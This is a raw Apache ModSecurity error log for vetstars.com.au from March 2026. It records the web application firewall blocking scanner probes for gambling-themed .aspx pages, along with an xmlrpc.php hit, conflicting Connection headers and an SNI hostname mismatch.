[Sat Mar 07 19:28:49.928938 2026] [:error] [pid 54127:tid 54151] [client 147.135.253.47:43446] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aawL8UuQzHmVv_Y3VjdZ6wAAAsk"]
[Sat Mar 07 19:28:52.327708 2026] [:error] [pid 14885:tid 14914] [client 147.135.253.47:43460] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aawL9Fj4t7-EBJadtcWuaAAAA48"]
[Sat Mar 07 19:28:54.710895 2026] [:error] [pid 50682:tid 50702] [client 147.135.253.47:43242] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aawL9k_32_2CpDTtIRmgMwAAApE"]
[Sat Mar 07 19:28:57.123165 2026] [:error] [pid 54127:tid 54159] [client 147.135.253.47:43256] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aawL-UuQzHmVv_Y3VjdZ8gAAAtE"]
[Sat Mar 07 19:28:59.673893 2026] [:error] [pid 14885:tid 14909] [client 147.135.253.47:43264] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aawL-1j4t7-EBJadtcWucQAAA4o"]
[Sat Mar 07 19:29:02.074632 2026] [:error] [pid 14885:tid 14903] [client 147.135.253.47:43276] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aawL_lj4t7-EBJadtcWucgAAA4Q"]
[Sat Mar 07 19:29:04.634192 2026] [:error] [pid 50682:tid 50686] [client 147.135.253.47:54928] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aawMAE_32_2CpDTtIRmgNwAAAoE"]
[Sat Mar 07 19:29:07.171493 2026] [:error] [pid 10276:tid 10292] [client 147.135.253.47:54942] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aawMA6NawseyHvpv0LlL_gAAA0I"]
[Sun Mar 08 00:41:12.582227 2026] [:error] [pid 19386:tid 19497] [client 104.245.201.145:38788] [client 104.245.201.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.245.201.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaxVKKOoo-DmQSb2USBN-AAAAdg"]
[Sun Mar 08 02:49:19.887181 2026] [:error] [pid 42362:tid 42370] [client 51.77.216.62:46534] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaxzL6-bLI2XD-bK6dDg1wAAAIA"]
[Sun Mar 08 02:49:22.417490 2026] [:error] [pid 42362:tid 42379] [client 51.77.216.62:51710] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaxzMq-bLI2XD-bK6dDg_AAAAIk"]
[Sun Mar 08 02:49:25.019382 2026] [:error] [pid 42362:tid 42383] [client 51.77.216.62:52306] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaxzNa-bLI2XD-bK6dDhJgAAAI0"]
[Sun Mar 08 02:49:27.540789 2026] [:error] [pid 42362:tid 42371] [client 51.77.216.62:52320] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaxzN6-bLI2XD-bK6dDhOgAAAIE"]
[Sun Mar 08 02:49:29.875592 2026] [:error] [pid 19534:tid 19547] [client 51.77.216.62:52330] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaxzOYiRddMMzZb47n6XLQAAAEs"]
[Sun Mar 08 02:49:32.306550 2026] [:error] [pid 19386:tid 19478] [client 51.77.216.62:52344] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaxzPKOoo-DmQSb2USBo_gAAAcU"]
[Sun Mar 08 02:49:34.750139 2026] [:error] [pid 42362:tid 42382] [client 51.77.216.62:36708] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaxzPq-bLI2XD-bK6dDhRQAAAIw"]
[Sun Mar 08 02:49:37.341852 2026] [:error] [pid 42362:tid 42379] [client 51.77.216.62:36718] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaxzQa-bLI2XD-bK6dDhUAAAAIk"]
[Sun Mar 08 02:49:39.803207 2026] [:error] [pid 19386:tid 19496] [client 51.77.216.62:36722] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaxzQ6Ooo-DmQSb2USBpAAAAAdc"]
[Sun Mar 08 02:49:42.318046 2026] [:error] [pid 19387:tid 19522] [client 51.77.216.62:36730] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaxzRtf0nSGsjNvXT0M80gAAAhY"]
[Sun Mar 08 02:49:44.748484 2026] [:error] [pid 19387:tid 19501] [client 51.77.216.62:50132] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaxzSNf0nSGsjNvXT0M81gAAAgE"]
[Sun Mar 08 02:49:47.136198 2026] [:error] [pid 19534:tid 19539] [client 51.77.216.62:50136] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaxzS4iRddMMzZb47n6XQAAAAEM"]
[Sun Mar 08 02:49:49.480697 2026] [:error] [pid 42362:tid 42390] [client 51.77.216.62:50144] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaxzTa-bLI2XD-bK6dDheAAAAJQ"]
[Sun Mar 08 02:49:51.990957 2026] [:error] [pid 42362:tid 42375] [client 51.77.216.62:50160] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaxzT6-bLI2XD-bK6dDhigAAAIU"]
[Sun Mar 08 02:49:54.497824 2026] [:error] [pid 42362:tid 42394] [client 51.77.216.62:60274] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaxzUq-bLI2XD-bK6dDhoQAAAJg"]
[Sun Mar 08 02:49:56.933731 2026] [:error] [pid 42362:tid 42374] [client 51.77.216.62:60284] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaxzVK-bLI2XD-bK6dDhxAAAAIQ"]
[Sun Mar 08 02:49:59.455974 2026] [:error] [pid 42362:tid 42394] [client 51.77.216.62:60292] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaxzV6-bLI2XD-bK6dDh7AAAAJg"]
[Sun Mar 08 02:50:02.026159 2026] [:error] [pid 42362:tid 42384] [client 51.77.216.62:60318] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaxzWq-bLI2XD-bK6dDiEQAAAI4"]
[Sun Mar 08 02:50:04.465152 2026] [:error] [pid 42362:tid 42382] [client 51.77.216.62:37602] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaxzXK-bLI2XD-bK6dDiKQAAAIw"]
[Sun Mar 08 02:50:07.011803 2026] [:error] [pid 19534:tid 19559] [client 51.77.216.62:37610] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaxzX4iRddMMzZb47n6XkwAAAFc"]
[Sun Mar 08 03:41:24.034909 2026] [:error] [pid 43672:tid 43771] [client 182.44.2.148:44763] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aax_ZHqp35WgfA0DoNAHBQAAAJU"]
[Sun Mar 08 06:41:55.269816 2026] [ssl:error] [pid 22786:tid 22818] [client 159.65.24.22:46004] AH02032: Hostname owo-adwokaci-wroclaw.pl provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Sun Mar 08 09:59:27.004059 2026] [:error] [pid 22787:tid 22837] [client 14.215.163.132:44285] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aazX_kF9MGMhk9pT4z5W3QAAA0k"]
[Sun Mar 08 10:05:01.731828 2026] [:error] [pid 22790:tid 22896] [client 101.32.52.164:48470] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aazZTRXbGDWrzD_dTOfXkAAAA84"]
[Sun Mar 08 12:39:07.604787 2026] [:error] [pid 22787:tid 22852] [client 147.135.252.148:54664] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaz9a0F9MGMhk9pT4z6UWwAAA1g"]
[Sun Mar 08 12:39:10.181413 2026] [:error] [pid 22790:tid 22896] [client 147.135.252.148:52656] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaz9bhXbGDWrzD_dTOc0bwAAA84"]
[Sun Mar 08 12:39:12.752536 2026] [:error] [pid 22786:tid 22811] [client 147.135.252.148:52668] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaz9cHPuJewMN2jPbdVuvAAAAwo"]
[Sun Mar 08 12:39:15.282896 2026] [:error] [pid 22790:tid 22905] [client 147.135.252.148:52680] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaz9cxXbGDWrzD_dTOc0fQAAA9c"]
[Sun Mar 08 12:39:17.867998 2026] [:error] [pid 22668:tid 22753] [client 147.135.252.148:37058] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaz9demzLHpblwnQgPjkXQAAApU"]
[Sun Mar 08 12:39:20.413470 2026] [:error] [pid 22790:tid 22897] [client 147.135.252.148:37068] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaz9eBXbGDWrzD_dTOc0hwAAA88"]
[Sun Mar 08 12:39:22.939761 2026] [:error] [pid 22788:tid 22861] [client 147.135.252.148:37082] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaz9ekhwluk21OG9mSdYMQAAA4Y"]
[Sun Mar 08 12:39:25.483597 2026] [:error] [pid 22787:tid 22841] [client 147.135.252.148:37092] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaz9fUF9MGMhk9pT4z6UagAAA00"]
[Sun Mar 08 12:39:27.875227 2026] [:error] [pid 22790:tid 22905] [client 147.135.252.148:39324] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaz9fxXbGDWrzD_dTOc0oAAAA9c"]
[Sun Mar 08 12:39:30.379721 2026] [:error] [pid 22787:tid 22845] [client 147.135.252.148:39332] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaz9gkF9MGMhk9pT4z6UcgAAA1E"]
[Sun Mar 08 12:39:32.883834 2026] [:error] [pid 22790:tid 22883] [client 147.135.252.148:39342] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaz9hBXbGDWrzD_dTOc0rgAAA8E"]
[Sun Mar 08 12:39:35.363807 2026] [:error] [pid 22787:tid 22849] [client 147.135.252.148:39358] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaz9h0F9MGMhk9pT4z6UfgAAA1U"]
[Sun Mar 08 12:39:37.842916 2026] [:error] [pid 22787:tid 22831] [client 147.135.252.148:40872] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaz9iUF9MGMhk9pT4z6UhgAAA0M"]
[Sun Mar 08 12:39:40.362406 2026] [:error] [pid 22788:tid 22876] [client 147.135.252.148:40874] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaz9jEhwluk21OG9mSdYQAAAA5U"]
[Sun Mar 08 12:39:42.875385 2026] [:error] [pid 22790:tid 22893] [client 147.135.252.148:40880] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaz9jhXbGDWrzD_dTOc0vgAAA8s"]
[Sun Mar 08 12:39:45.411655 2026] [:error] [pid 22668:tid 22739] [client 147.135.252.148:40882] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaz9kemzLHpblwnQgPjkawAAAoc"]
[Sun Mar 08 12:39:48.139665 2026] [:error] [pid 22668:tid 22752] [client 147.135.252.148:38412] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaz9lOmzLHpblwnQgPjkbAAAApQ"]
[Sun Mar 08 12:39:50.683049 2026] [:error] [pid 22788:tid 22872] [client 147.135.252.148:38428] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaz9lkhwluk21OG9mSdYTAAAA5E"]
[Sun Mar 08 12:39:53.199490 2026] [:error] [pid 22790:tid 22899] [client 147.135.252.148:38440] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaz9mRXbGDWrzD_dTOc01AAAA9E"]
[Sun Mar 08 12:39:55.692760 2026] [:error] [pid 22787:tid 22848] [client 147.135.252.148:38456] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaz9m0F9MGMhk9pT4z6UmQAAA1Q"]
[Sun Mar 08 12:39:58.229865 2026] [:error] [pid 22786:tid 22814] [client 147.135.252.148:47854] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaz9nnPuJewMN2jPbdVu2AAAAw0"]
